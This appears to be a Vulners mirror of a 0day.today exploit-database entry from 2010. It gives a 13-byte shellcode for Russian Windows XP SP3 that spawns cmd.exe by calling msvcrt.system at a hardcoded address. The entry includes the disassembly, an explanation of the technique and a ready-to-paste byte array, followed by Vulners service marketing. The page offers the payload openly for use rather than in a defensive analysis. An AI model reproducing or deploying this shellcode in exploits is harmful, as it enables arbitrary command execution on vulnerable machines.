Lucene search
K

win32/xp sp3 (Ru) cmd 13 bytes

🗓️ 03 Mar 2010 00:00:00Reported by lord KelvinType 
zdt
 zdt
🔗 0day.today👁 13 Views

win32/xp sp3 (Ru) cmd 13 bytes code injectio

Code
==============================
win32/xp sp3 (Ru) cmd 13 bytes
==============================


Tested on Windows XP Pro Rus sp3. Probably, will work with any service pack present.
 
68 636D6420  push 0x20646D63
54           push esp
B8 C793C177  mov eax,msvcrt.system
FFD0         call eax
 
I push "cmd " in the stack, then push esp, which is address of pushed string. "cmd" has trailing space, 'cos I didn't want to use zero-byte, so this space transforms rubbish from stack in parameter for cmd. Unfortunately, once in a while it will crush cmd. Don't forget, that address of system( char * ) changes from one service pack to another.
 
Great thanks to Mountassif Moad for his inspiring shellcodes.
 
{ 0x68, 0x63, 0x6D, 0x64, 0x20, 0x54, 0xB8, 0xC7, 0x93, 0xC1, 0x77, 0xFF, 0xD0 }
 
Сoded via lord Kelvin


#  0day.today [2018-04-04]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

03 Mar 2010 00:00Current
7High risk
Vulners AI Score7
13